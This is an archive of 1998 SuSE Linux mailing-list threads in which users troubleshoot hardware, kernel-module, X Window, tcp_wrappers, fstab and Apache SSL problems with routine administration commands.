>   modprobe 3c509 io=0x300,irq=10
>
>The resulting message was:
>
>   /lib/modules/2.0.33/net/3c509.o: symbol for parameter io not found
>
>This error message also appears on the bootup screen, and has appeared
>consistently from the initial install.
>

find out if the modules rpm is installed or not by:
        rpm -qa | less and look for the string modules.

Most likely you are missing this rpm in your installation.  Install the
modules rpm from the distribution CD (i think it is cd1), although it
should have been installed.

HTH
Arun Khan

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From laszlo@idt.net Tue Jun  2 15:42:33 1998
From: laszlo@idt.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] General Protection error
Date: Tue, 02 Jun 1998 11:42:33 -0400
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Going from horrible death, to lingering coma.

Laszlo

On Sun, 31 May 1998, Wolfgang Weisselberg wrote:

> 
> Hi!
> 
> Trying to kill the keyboard, laszlo(a)idt.net produced:
> > 
> > I'm getting a very regular General Protection error, on the following
> > system ( set up to be a mail and www server runing X ).
> > I've reformated and reinstalled twice, with more limited package selection
> > each time.  No difference was noted.
> [...]
> > After every few hours, the system gets semi locked.  It responds to
> >  commands, but not to .
> >  at any screen, except login prompt gives the following.
> 
> > general protection error: 0000
> > cpu 	: 0
> > eip 	: 0010:[<00124c207>]
> 
> 
 
> Try it with an open chassis (and some extra ventilators, probably houshold
> ones ... you *must* ensure a good circulation!), if that helps, it's a heat
> problem. Also at the time of the crash find out how hot the CPU is (the
> Cooler may probably not be attached properly). There are stripes aviable
> that change colour with temperature, they often give good indications.
>
Worked on the overheating scenario first, before mucking with the
hardware.  Removed the case, Pentium II cpu is running coolish to the
touch, all cooling fans running smoothly.  Increased space on rack between
towers for better ventilation.

I set up a cron job to send a mail at regular intervals to indicate when.
the system becomes non-repsonsive. Outside temperature was in the low 50's
Farenheit.  Air conditioner was turned off to remove potential brown out
conditions, power spikes.  Room temperature remained cool.

In spite of all this system had become non-repsonsive between 4:00 AM and
4:15 am.  

The system behavior was a bit different. Consoles allow you to switch
between them  and allow you work thru the login sequence,
reporting past failed login attempts and new mail notification.  However,
It seems that the shell(bash) never gets started, since there is no prompt
and lack of keyboard/mouse response in that console.  All network access
telnet, httpd, etc. is dead, however, the server still responds to pings.

/var/log/messages shows the faxclean queue being checked ( There is no
queue ) without fail.  After my first console login attempt the
following error messages were generated every couple of seconds:

Jun 2 11:13:14 www kernel: wait_queue is bad ( eip=0018948b )
                                 q= 03fb8934
                                *q= 03f7cf68

Jun 2 11:13:16 www kernel: wait_queue is bad ( eip=0018948b )
                                 q= 03fb8934
                                *q= 03f7cf68

Jun 2 11:13:17 www kernel: wait_queue is bad ( eip=0018948b )
                                 q= 03fb8934
                                *q= 03f7cf68

Jun 2 11:13:20 www kernel: wait_queue is bad ( eip=0018948b )
                                 q= 03fb8934
                                *q= 03f7cf68

Prior to all this there was an error message
 
> Are you 110ure your memory chip(s) is/are OK (no, works under Win does
> not count, Windows does not use the memory to the full potential)? Try with
> one half of the chips if possible, or with (a) completely different one(s).
> 

Playing with the hardware is my next step.

Thanks,
Laszlo


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From stugreen@bga.com Tue Jun  2 16:31:35 1998
From: stugreen@bga.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] [Fwd: which which?]
Date: Tue, 02 Jun 1998 11:31:35 -0500
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'Morning,
Have others experienced this abberation with which returning nothing for

'which which' and 'which ls'??
Regards,
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>
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From satan@nfinity.com Tue Jun  2 17:09:41 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Deny telnetconnections for defined hosts
Date: Tue, 02 Jun 1998 12:09:41 -0500
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I put "ALL : ALL" in /etc/hosts.deny so that all connections to my box
are refused.  I'm sure you can state specific hosts to be denied so that
other hosts are allowed.  I haven't needed to allow any outside hosts on
my box so I haven't played with it.

Marius Augenstein wrote:
> 
> Hello
> 
> Is there a possibility to deny telnetconnections for a list of hosts ?
> And if so could this be done with ftp too ??

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From satan@nfinity.com Tue Jun  2 17:13:08 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] No mouse and no keyboard after Xwindows start
Date: Tue, 02 Jun 1998 12:13:08 -0500
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The serial mouse driver in XF86Setup should work.  Reboot, enter your
bios and see if your bios initializes your mouse at boot.  I had a com
port that only initialized if I booted from loadlin, it was because it
was toggled off in my bios.  Check that.

Charles wrote:
> 
> Hi,
> Also the mouse is not working. It's a Microsoft serial mouse.
> 
> If anyone knows the answer to these problems, then your help would be much
> appreciated.

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From arunkhan@xnet.com Tue Jun  2 17:17:44 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] [Fwd: which which?]
Date: Tue, 02 Jun 1998 12:17:44 -0500
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At 11:31 AM 98-06-02 -0500, you wrote:
>'Morning,
>Have others experienced this abberation with which returning nothing for
>
>'which which' and 'which ls'??
>Regards,
>Stu

For bash (and perhaps other shells) both are aliases that is why you don't
see any display from which.

In your shell type "alias"  that will show your define aliases

prompt>  unalias ls
prompt> which ls

will show you ls is /bin/ls.

HTH
Arun Khan

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From arunkhan@xnet.com Tue Jun  2 17:21:45 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Deny telnetconnections for defined hosts
Date: Tue, 02 Jun 1998 12:21:45 -0500
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At 11:05 AM 98-06-02 +0200, you wrote:
>
>Hello 
>
>Is there a possibility to deny telnetconnections for a list of hosts ?
>And if so could this be done with ftp too ??
>
>-- 
>Regards Marius Augenstein  
>

Can be done thru entries in  /etc/hosts.deny and /etc/hosts.allow, for
details reference the man pages.

-- Arun Khan

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From edo@ce2usm.valparaiso.cl Tue Jun  2 18:57:49 1998
From: edo@ce2usm.valparaiso.cl
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Deny telnetconnections for defined hosts
Date: Tue, 02 Jun 1998 14:57:49 -0400
Message-ID: <199806021857.OAA27564@ce2usm.valparaiso.cl>
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> 
> At 11:05 AM 98-06-02 +0200, you wrote:
> Can be done thru entries in  /etc/hosts.deny and /etc/hosts.allow, for
> details reference the man pages.

For complete reference about tcpwrapper config deny/allow in: 
 hosts_options(5) , hosts_access(5)

> -- Arun Khan

Saludos
Edo.

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From cbebber@ecst.csuchico.edu Tue Jun  2 19:04:17 1998
From: cbebber@ecst.csuchico.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Deny telnetconnections for defined hosts
Date: Tue, 02 Jun 1998 12:04:17 -0700
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On Tue 02 Jun at 12:09:41 -0500 satan(a)nfinity.com done said:
>=20
> I put "ALL : ALL" in /etc/hosts.deny so that all connections to my box
> are refused.  I'm sure you can state specific hosts to be denied so that
> other hosts are allowed.  I haven't needed to allow any outside hosts on
> my box so I haven't played with it.

Or you could comment out the telnet line in /etc/inetd.conf (line 29 in mine).
Then issue a 'killall =C2=ADHUP inetd' to make it active.  You might also thi=
nk
about doing this for ftp as it's a potential security hole.


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From weissel@jupiter.ph-cip.uni-koeln.de Tue Jun  2 21:15:51 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] General Protection error
Date: Tue, 02 Jun 1998 23:15:51 +0200
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Hi!

Trying to kill the keyboard, laszlo(a)idt.net produced:
> On Sun, 31 May 1998, Wolfgang Weisselberg wrote:
> > Trying to kill the keyboard, laszlo(a)idt.net produced:
> > > I'm getting a very regular General Protection error, on the following
> > > system ( set up to be a mail and www server runing X ).
> > [...]
> > > After every few hours, the system gets semi locked.  It responds to
> > >  commands, but not to .
> > >  at any screen, except login prompt gives the following.
> > 
> > > general protection error: 0000
> > > cpu 	: 0
> > > eip 	: 0010:[<00124c207>]
> > 
> > Are the numbers the same every time or do they cange?
> > Did you compile this kernel?

Well, did you compile the kernel? If yes, did you apply any patches,
which ones?
Do the numbers change?

Which kernel is it, if you didn't compile it yourself (uname -a)? Does
the machine have a constant internet or intranet connection, if not,
did it die while connected or while stand-alone? Is it connected now? 
(I am thinking of an attack, maybe via nestea or so)

> > What does /var/log/messages say about the crashes?

What do the logs say?

> The case is located directly in the path of the air conditioner.  And the
> system crashed repeated at night.  There seems to enough air circulation
> since I had a secondary cooling fan installed on the system.

> All fans working, actually the power supply vents are the coolest of any
> or the many systems running here.

Crashes at night ... all fans working ... hmmm ...
Does someone probably switch of A/C at night? (There are people who
think A/C is for the comfort of humans ... let's save some energy and
fry the computers :-/ )

> I will run it with an open case,  Since installing the network card, prior
> to the OS.  The case has been on.

> > Are you 110ure your memory chip(s) is/are OK (no, works under Win does

> Machine never had windows on it, but the memory seems fine running the
> debian distributuion.  It has been up for almost 20 hours now.

Thow it a couple (like 20) kernel compilations, see if it still stands.
If yes, the memory should be OK. What kernel is the Debian distri
running (uname -r)?

-Wolfgang


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From kar@webline.dk Tue Jun  2 21:42:41 1998
From: kar@webline.dk
To: users@lists.opensuse.org
Subject: Fwd: [S.u.S.E. Linux] aic7890
Date: Tue, 02 Jun 1998 23:42:41 +0200
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Can it really be true that noone knows about an Adaptec 7890?

Original message:
I got a question from a person who's interested in buying 5.2 about
aic7890. Is it supported?

I can't see it, even in /usr/src/linx/drivers/scsi/README.aix7xxx
there's no mention. Only 788x and 7895. How come?


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From rkeeley@dibbs.net Tue Jun  2 22:23:10 1998
From: rkeeley@dibbs.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Dmesg dumb question
Date: Tue, 02 Jun 1998 17:23:10 -0500
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In my dmesg there is the following two lines:

Loading /etc/default.Keytab
This file contains 3 fonts 8x8, 8x14, and 8x16. Please
indicate, using as option
-8, -14 or -16 which one you want loaded.

Could someone advise me of what and where I am suppose to do
this? It works
fine without me telling it anything, but I would like to get
a little smaller lettering.


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From thehaas@binary.net Wed Jun  3 00:15:05 1998
From: thehaas@binary.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] CD-ROM error
Date: Tue, 02 Jun 1998 19:15:05 -0500
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I broke my system real bad (my fault, not SuSE's), so I re-paritioned
and re-installed my system.  When YaST was copying the files from my
cdrom to the system, on a couple of files I saw this:

Jun  2 18:11:27 jesusfreak kernel: end_request: I/O error, dev 19:00,
sector 1235344
Jun  2 18:11:27 jesusfreak kernel: sbpcd-0 [60]:  !st_diskok detected -
retrying.
Jun  2 18:11:27 jesusfreak kernel: sbpcd-0 [61]:  !st_diskok detected -
retrying.
Jun  2 18:11:27 jesusfreak kernel: sbpcd-0 [62]:  !st_diskok detected -
retrying.
Jun  2 18:11:27 jesusfreak kernel: sbpcd-0 [63]:  sbp_status: failed
after 3 tries

Everything installed eventually installed fine, but I have no idea what
this error means - I have never saw it before but it popped up quite a
bit during this install.  Anyone have any ideas?

I have a Creative CD-ROM running off a SB16 and am running a
freshly-install SuSE 5.2 system (kernal 2.0.33).

- mikeh


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From rcollins@datastar.net Wed Jun  3 00:38:28 1998
From: rcollins@datastar.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] aic7890
Date: Tue, 02 Jun 1998 19:38:28 -0500
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-----Original Message-----
From: Kaare Rasmussen 
To: suse-linux-e(a)suse.com 
Date: Tuesday, June 02, 1998 5:13 PM
Subject: Fwd: [S.u.S.E. Linux] aic7890

>
>Can it really be true that noone knows about an Adaptec 7890?
>
Not True, I have one from SIIG. PCI SCSI Pro Gold which includes Corel SCSI.
To get it to work select the aic 78xx driver. I had to stop using it because
of of 2 of my OS's didn't support it.

Original message:
>I got a question from a person who's interested in buying 5.2 about
>aic7890. Is it supported?
>
YES
>
I can't see it, even in /usr/src/linx/drivers/scsi/README.aix7xxx
>there's no mention. Only 788x and 7895. How come?
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From braden@shadow.net Wed Jun  3 01:12:06 1998
From: braden@shadow.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Help! Weird problem
Date: Tue, 02 Jun 1998 18:12:06 -0700
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Suddenly I've started to get the following message on bootup:

        Kernel panic: aic7xxx: Unknown REQINIT message type

        In swapper task - not syncing

At that point the boot sequence hangs.

I haven't changed my Linux configuration (SuSE 5.2) at all, and I have no
idea what could have caused this to start. I dual boot this machine with
Windows NT; I can boot to NT just fine, so I don't think there is a problem
with the hardware. Please help!

Prismatic Booger
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From deem@wdm.com Wed Jun  3 01:57:29 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Help! Weird problem
Date: Tue, 02 Jun 1998 17:57:29 -0800
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I have the same problem almost:

        Kernel Panic: Failed to allocate buffer hash table

        In swapper task - not syncing

I have the following hardware:

<4>scsi0 : Adaptec AHA274x/284x/294x (EISA/VLB/PCI-Fast SCSI) 5.0.7/3.2.2
<4>       
<4>scsi : 1 host.
<6>(scsi0:0:-1:-1) Scanning channel for devices.
<6>(scsi0:0:0:0) Using narrow (8 bit) transfers.
<6>(scsi0:0:0:0) Synchronous at 10.0MHz, offset 15.
<4>  Vendor: SEAGATE   Model: ST15150N          Rev: 0023
<4>  Type:   Direct-Access                      ANSI SCSI revision: 02
<4>Detected scsi disk sda at scsi0, channel 0, id 0, lun 0
<6>(scsi0:0:1:0) Using wide (16 bit) transfers.
<6>(scsi0:0:1:0) Synchronous at 10.0MHz, offset 8.
<4>  Vendor: SEAGATE   Model: ST15230W SUN4.2G  Rev: 0738
<4>  Type:   Direct-Access                      ANSI SCSI revision: 02
<4>Detected scsi disk sdb at scsi0, channel 0, id 1, lun 0
<6>(scsi0:0:3:0) Using narrow (8 bit) transfers.
<6>(scsi0:0:3:0) Synchronous at 10.0MHz, offset 15.
<4>  Vendor: PLEXTOR   Model: CD-ROM PX-20TS    Rev: 1.01
<4>  Type:   CD-ROM                             ANSI SCSI revision: 02
<4>Detected scsi CD-ROM sr0 at scsi0, channel 0, id 3, lun 0
<6>(scsi0:0:4:0) Refusing WIDE negotiation; using 8 bit transfers.
<6>(scsi0:0:4:0) Synchronous at 5.0MHz, offset 15.
<4>  Vendor: SONY      Model: CD-ROM CDU-76S    Rev: 1.2d
<4>  Type:   CD-ROM                             ANSI SCSI revision: 02
<4>Detected scsi CD-ROM sr1 at scsi0, channel 0, id 4, lun 0
<4>scsi : detected 2 SCSI cdroms 2 SCSI disks total.
<4>SCSI device sda: hdwr sector=3D 512 bytes. Sectors=3D 8388315 [4095 MB] [4=
.1 GB]
<4>SCSI device sdb: hdwr sector=3D 512 bytes. Sectors=3D 8386733 [4095 MB] [4=
.1 GB]
<4>Partition check:
<4> sda: sda1 sda2 sda3 sda4
<4> sdb: sdb1 sdb2
<

I can boot fine from the same kernel on a floppy but not on the HD's MBR
with lilo ?

I'm stumped....

-Dee

"Braden N. McDaniel"  wrote:
>=20
> Suddenly I've started to get the following message on bootup:
>=20
> 	Kernel panic: aic7xxx: Unknown REQINIT message type
>=20
> 	In swapper task - not syncing
>=20
> At that point the boot sequence hangs.
>=20
> I haven't changed my Linux configuration (SuSE 5.2) at all, and I have no
> idea what could have caused this to start. I dual boot this machine with
> Windows NT; I can boot to NT just fine, so I don't think there is a problem
> with the hardware. Please help!
>=20


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From laszlo@idt.net Wed Jun  3 02:49:22 1998
From: laszlo@idt.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] General Protection error
Date: Tue, 02 Jun 1998 22:49:22 -0400
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Laszlo

On Tue, 2 Jun 1998, Wolfgang Weisselberg wrote:

> 
> Hi!
> 
> Trying to kill the keyboard, laszlo(a)idt.net produced:
> > On Sun, 31 May 1998, Wolfgang Weisselberg wrote:
> > > Trying to kill the keyboard, laszlo(a)idt.net produced:
> > > > I'm getting a very regular General Protection error, on the following
> > > > system ( set up to be a mail and www server runing X ).
> > > [...]
> > > > After every few hours, the system gets semi locked.  It responds to
> > > >  commands, but not to .
> > > >  at any screen, except login prompt gives the following.
> > > 
> > > > general protection error: 0000
> > > > cpu 	: 0
> > > > eip 	: 0010:[<00124c207>]
> > > 
> > > Are the numbers the same every time or do they cange?
> > > Did you compile this kernel?
> 
> Well, did you compile the kernel? If yes, did you apply any patches,
> which ones?
> Do the numbers change?
> 
> Which kernel is it, if you didn't compile it yourself (uname -a)? Does
> the machine have a constant internet or intranet connection, if not,
> did it die while connected or while stand-alone? Is it connected now? 
> (I am thinking of an attack, maybe via nestea or so)
>
I compiled the ethernet support for the 'tulip' chip into the kernel v
2.0.33.  Debian was running a much older kernel, 2.0.2?
There is a constant internet connection over a T1 line, but doubt that the
failures was due to attacks.  

I think that it may just be a heat issue.  Without the case cover, it's
been up for 10 hours.  I find it difficult to accept, there was no
noticable head buildup.  And I had taken all precautions on providing air
conditining and ventilation on specially installed racks.

Oh well.  I hope that it was a heat issues, as the solutions are the
easiest to implement.

Thanks,

Laszlo


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From satan@nfinity.com Wed Jun  3 03:06:39 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] YaST
Date: Tue, 02 Jun 1998 22:06:39 -0500
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YaST owns linuxconf!!!
pHeAr SuSE!!!

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From eramunds@online.no Wed Jun  3 06:50:45 1998
From: eramunds@online.no
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Subject: [S.u.S.E. Linux] unsubscribe suse-linux-e
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From charles@parc.demon.co.uk Wed Jun  3 07:25:37 1998
From: charles@parc.demon.co.uk
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] No mouse and no keyboard after Xwindows start
Date: Wed, 03 Jun 1998 07:25:37 +0000
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Hi Michael,
On Tue, 02 Jun 1998 12:13:08 -0500, you wrote:

:>The serial mouse driver in XF86Setup should work.  Reboot, enter your
:>bios and see if your bios initializes your mouse at boot.  I had a com
:>port that only initialized if I booted from loadlin, it was because it
:>was toggled off in my bios.  Check that.

I'm using the Award Bios.  I checked, but found no reference to
initialising the mouse.  But I changed from a serial mouse to a PS/2
version and it worked after re-running XF86Config.  I also have the
keyboard working, so all is well.  Thank you for your prompt and helpful
reply.

Charles

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From charles@parc.demon.co.uk Wed Jun  3 07:25:38 1998
From: charles@parc.demon.co.uk
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] No mouse and no keyboard after Xwindows sta
Date: Wed, 03 Jun 1998 07:25:38 +0000
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Hi Howard
On Tue, 2 Jun 1998 13:13:59 +0000, you wrote:

:>What "keyboard" did you choose in XF86Config? Try 101 key US; 
:>at least I know that one works :-)
:>
:>Is there a /dev/mouse in XF86Config? Is it actually a symlink to 
:>the /dev/ttyS serial port that the mouse is on?

Thank you for the prompt and helpful reply.
I re-ran XF86Config and entered the 101 US keyboard,
I also change to a PS/2 mouse and now all is OK.

Regards, Charles

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From bdonald@nortel.ca Wed Jun  3 09:11:00 1998
From: bdonald@nortel.ca
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] 3Com Ethernet Card Problem
Date: Wed, 03 Jun 1998 05:11:00 -0400
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My setup is V5.2, and everything has installed OK, except the 3Com 3C509 
card. The system has failed to pick it up. I recently spotted the
suggestion of performing a direct scan using modprobe:

   modprobe 3c509 io=0x300,irq=10

The resulting message was:

   /lib/modules/2.0.33/net/3c509.o: symbol for parameter io not found

This error message also appears on the bootup screen, and has appeared
consistently from the initial install.

I've checked the obvious - the system has a DOS partition, so I've
booted from DOS and configured the card using the 3Com utilities, both
before and after the install. It runs through the hardware tests OK. The 
card is attached to a Warp Server LAN, but obviously it hasn't been
integrated software-wise into the network. I'm pretty certain that the
hardware is not defective.

Anyone have suggestions as to the next move.

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From Marius.Augenstein@alcatel.de Wed Jun  3 09:43:57 1998
From: Marius.Augenstein@alcatel.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 3Com Ethernet Card Problem
Date: Wed, 03 Jun 1998 11:43:57 +0200
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bdonald(a)nortel.ca wrote:
>=20
> My setup is V5.2, and everything has installed OK, except the 3Com 3C509
> card. The system has failed to pick it up. I recently spotted the
> suggestion of performing a direct scan using modprobe:
>=20
>    modprobe 3c509 io=3D0x300,irq=3D10
>=20
> The resulting message was:
>=20
>    /lib/modules/2.0.33/net/3c509.o: symbol for parameter io not found
>=20
> This error message also appears on the bootup screen, and has appeared
> consistently from the initial install.
>=20
> I've checked the obvious - the system has a DOS partition, so I've
> booted from DOS and configured the card using the 3Com utilities, both
> before and after the install. It runs through the hardware tests OK. The
> card is attached to a Warp Server LAN, but obviously it hasn't been
> integrated software-wise into the network. I'm pretty certain that the
> hardware is not defective.
>=20
> Anyone have suggestions as to the next move.

Oops .... I'm astonished that you get problems with this type of card. I
thought that the driver is very well tested and developed. I've never had
any problems with 3com cards.
But anyway, have you already tried to compile the driver into the kernel ?

What produces more /var/log/boot.msg ?? My output is:
<4>eth0: 3c509 at 0x300 tag 1, 10baseT port, address  00 20 af e1 49 60, IRQ =
5.
<4>3c509.c:1.12 6/4/97 becker(a)cesdis.gsfc.nasa.gov


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From weissel@jupiter.ph-cip.uni-koeln.de Wed Jun  3 13:40:49 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] [Fwd: which which?]
Date: Wed, 03 Jun 1998 15:40:49 +0200
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Hi!

Trying to kill the keyboard, arunkhan(a)xnet.com produced:
> >Have others experienced this abberation with which returning nothing for
> >'which which' and 'which ls'??
> 
> For bash (and perhaps other shells) both are aliases that is why you don't
> see any display from which.

But try 
strace -eioctl,write which ls
and compare that to which compress or any other working one.

BTW, which cd returns empty, but looking at strace should return an
error ... something strange is going on ...

-Wolfgang


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From weissel@jupiter.ph-cip.uni-koeln.de Wed Jun  3 13:59:26 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] General Protection error
Date: Wed, 03 Jun 1998 15:59:26 +0200
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Hi!

Trying to kill the keyboard, laszlo(a)idt.net produced:
> On Sun, 31 May 1998, Wolfgang Weisselberg wrote:

[crash of system, regularly, even after reinstalls]
> > > general protection error: 0000
> > > cpu 	: 0
> > > eip 	: 0010:[<00124c207>]
[...]

> Worked on the overheating scenario first, before mucking with the
> hardware.  Removed the case, Pentium II cpu is running coolish to the
> touch, all cooling fans running smoothly.  Increased space on rack between
> towers for better ventilation.

Coolish directly after switching on or after a few hours?

> I set up a cron job to send a mail at regular intervals to indicate when.
> the system becomes non-repsonsive. Outside temperature was in the low 50's
> Farenheit.  Air conditioner was turned off to remove potential brown out
> conditions, power spikes.  Room temperature remained cool.

Ok, it ain't the A/C.

Hmmm ...
How reliable is your electrical power (over here you can easily get
many months uptime without an UPS) or are you using an UPS?

> In spite of all this system had become non-repsonsive between 4:00 AM and
> 4:15 am.  

Have you any info of the times the system crashed previously? Is it
connected to a LAN (where others could access it) or the Internet?
What do the logs show around the crash time --- anything strange, any
connections (apart from what you already wrote)?

> The system behavior was a bit different. Consoles allow you to switch
> between them  and allow you work thru the login sequence,
> reporting past failed login attempts and new mail notification.  However,
> It seems that the shell(bash) never gets started, since there is no prompt
> and lack of keyboard/mouse response in that console.  All network access
> telnet, httpd, etc. is dead, however, the server still responds to pings.

That means the kernel is somehow still working (at least partially) ...
but inetd is dead.

> /var/log/messages shows the faxclean queue being checked ( There is no
> queue ) without fail.  

So that is still running?
Hmmm ... 

> After my first console login attempt the
> following error messages were generated every couple of seconds:
> 
> Jun 2 11:13:14 www kernel: wait_queue is bad ( eip=0018948b )
> 				 q= 03fb8934
> 				*q= 03f7cf68
[every 2-3 secs]
That sounds bad, it means that the scheduler is unhappy. Something
strange's going on. Have a look into /usr/src/linux/kernel/sched.c to
see where these messages are generated ... 

It could be a problem with hardware ... actually, I think it is. If you
have not done so already, you might want to recompile your kernel, configured
exclusively for your machine. 

> Prior to all this there was an error message

Which one? 
(Come on, don't let me hang on that cliff ... :-)

> > Are you 110ure your memory chip(s) is/are OK (no, works under Win does

> Playing with the hardware is my next step.

Ok. 

-Wolfgang


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From arunkhan@xnet.com Wed Jun  3 16:54:49 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject:
 [S.u.S.E. Linux] Unexpected message for Secure Apache server (SuSE 5.1)
Date: Wed, 03 Jun 1998 11:54:49 -0500
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I have re-installed SuSE 5.1 on my "server" machine, this time with Apache
SSL.
The required packages (apassl-1.2.4-5 and ssleay-0.8.1-4) are installed in
my system (at least YaST did not identify missing dependencies).

At boot time I see the following messages w.r.t SSL Apache:

.... other boot messages
Starting SSL-WWW-SERVER Apache
.... few other messages
SSL disabled for server kaveri.intra.net:80
Starting INET server (inetd)
.... other boot  messages

Kaveri is the name of my server machine and intra.net is the domain name
for my intranet.  I have named running on the same machine with complete
data of the intra.net domain.  I have also grepped the files in the
/sbin/init.d to see which script is generating the "SSL disabled ..."
message but come up with nothing.

Executing /sbin/inet.d/apassl restart gives the following:
Reload SSL Apache configuration
SSL disabled for server kaveri.intra.net:80

Am I missing some configuration file that was not generated by YaST
installation?  I would appreciate if anybody in this list can help me
understand the above error and run Apache SSL with SSL enabled successfully.

TIA
Arun Khan

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From satan@nfinity.com Wed Jun  3 17:52:37 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re:Permission denied loading applix
Date: Wed, 03 Jun 1998 12:52:37 -0500
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You need to 'chmod 666 /dev/cdrom' to give users access to the device.
Your /etc/fstab entry should look something like this:
/dev/hdc      /cdrom              iso9660         ro,noauto,user 0   0

Jim Hodgers wrote:
> 
> Since no answers to my problem loading applix seemed to be forthcoming from
> this group, I started searching the RedHat archive. I finally found a
> message stating that the problen was caused by mounting the CD with the
> "user" parameter. I edited this out of "fstab", re-mounted the CDrom, and
> the installation of applix worked. WHY? What changes will this cause? Why
> does Yast put it in "fstab"?
> Please, o guru's, instruct this Clueless Newbie!
> Jim Hodgers
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From brauki@cityweb.de Wed Jun  3 19:05:04 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re:Permission denied loading applix
Date: Wed, 03 Jun 1998 21:05:04 +0200
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Jim Hodgers wrote:
> 
> Since no answers to my problem loading applix seemed to be forthcoming from
> this group, I started searching the RedHat archive. I finally found a
> message stating that the problen was caused by mounting the CD with the
> "user" parameter. I edited this out of "fstab", re-mounted the CDrom, and
> the installation of applix worked. WHY? What changes will this cause? Why
> does Yast put it in "fstab"?
> Please, o guru's, instruct this Clueless Newbie!

reading the problem and it's solution, I remember.
this is done for securety reasons. user means, the user can swap and
mount cd's.
being able to do so, the user might install "things" that "kill" root
with fright ;-). therefore, execution of files is prohibited. (think
another parameter in fstab, noexec as i just found, but user implies
that. To avoid that use "user exec" as options)

taken from "man mount"
       -o     Options  are specified with a -o flag followed by a
              comma separated string of options.  Some  of  these
              options  are  only  useful  when they appear in the
              /etc/fstab file.  The following  options  apply  to
              any file system that is being mounted:

[....]
              noexec Do not allow execution of  any  binaries  on
                     the  mounted file system.  This option might
                     be useful for a server that has file systems
                     containing  binaries for architectures other
                     than its own.
[...]
              user   Allow an ordinary user  to  mount  the  file
                     system.   This  option  implies  the options
                     noexec, nosuid, and nodev (unless overridden
                     by subsequent options, as in the option line
                     user,exec,dev,suid).

SuSE disregards, That "user" is mostly identical to root, but they keep
it for securety.

HIH

Jürgen


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From misc.word.corp@pobox.com Wed Jun  3 19:57:08 1998
From: misc.word.corp@pobox.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] WindowMaker 0.15.0
Date: Wed, 03 Jun 1998 15:57:08 -0400
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Anybody have a chance to check out WindowMaker 0.15.0, the latest
release?

Any appealing new additions, innovations, features -- or bugs (er,
"issues," to use M---S--T-ese). How does it install on SuSE 5.2?

http://www.windowmaker.org/>

-- Glenn --


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From satan@nfinity.com Wed Jun  3 21:08:23 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] WindowMaker 0.15.0
Date: Wed, 03 Jun 1998 16:08:23 -0500
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After near perfect 0.14.0 and 0.14.1 releases, 0.15.0 had a few bugs.=20
There should be a 0.15.1 release shortly,  and Alfredo just returned
today from a long vacation.  woohoo!  For now I would use 0.14.1 and
wait for the next 0.15.x release.

misc.word.corp wrote:
>=20
> Anybody have a chance to check out WindowMaker 0.15.0, the latest
> release?
>=20
> Any appealing new additions, innovations, features -- or bugs (er,
> "issues," to use M---S--T-ese). How does it install on SuSE 5.2?
>=20
> http://www.windowmaker.org/>
>=20
> -- Glenn --
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From kar@webline.dk Wed Jun  3 22:00:34 1998
From: kar@webline.dk
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] IBM Thinkpad
Date: Thu, 04 Jun 1998 00:00:34 +0200
Message-ID: <199806032200.AAA03561@bohr.webline.dk>
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Annoying:

One friend tried to install S.u.S.E. Linx 5.2 on a Thinkpad 760XL with
the diskette. After teh LILO prompt, it says loading init
and then loading linux.. and then freezes. I've tried telling LILO to
load linux floppy=thinkpad with the same result.

The (english) supportbase only tells about random breakdowns so what
now?


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From mwagnon@ixpres.com Thu Jun  4 00:34:38 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re:Permission denied loading applix
Date: Wed, 03 Jun 1998 17:34:38 -0700
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I remeber that when I was running redhat and I bought CDE, I had the
same problem. The fix was the same. Anywho, how did it install? No
problems? I was considering purchasing it last night, but I didn't get
around to it. Over the last few months I have been getting better
aquainted with LaTeX, but I want a nice office suite for quick documents
and such.

Mark

Jim Hodgers wrote:
> 
> Since no answers to my problem loading applix seemed to be forthcoming from
> this group, I started searching the RedHat archive. I finally found a
> message stating that the problen was caused by mounting the CD with the
> "user" parameter. I edited this out of "fstab", re-mounted the CDrom, and
> the installation of applix worked. WHY? What changes will this cause? Why
> does Yast put it in "fstab"?
> Please, o guru's, instruct this Clueless Newbie!
> Jim Hodgers
>

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From khayes@flash.net Thu Jun  4 02:12:23 1998
From: khayes@flash.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] IBM Thinkpad
Date: Wed, 03 Jun 1998 19:12:23 -0700
Message-ID: <98060319163601.00273@dogwaffle>
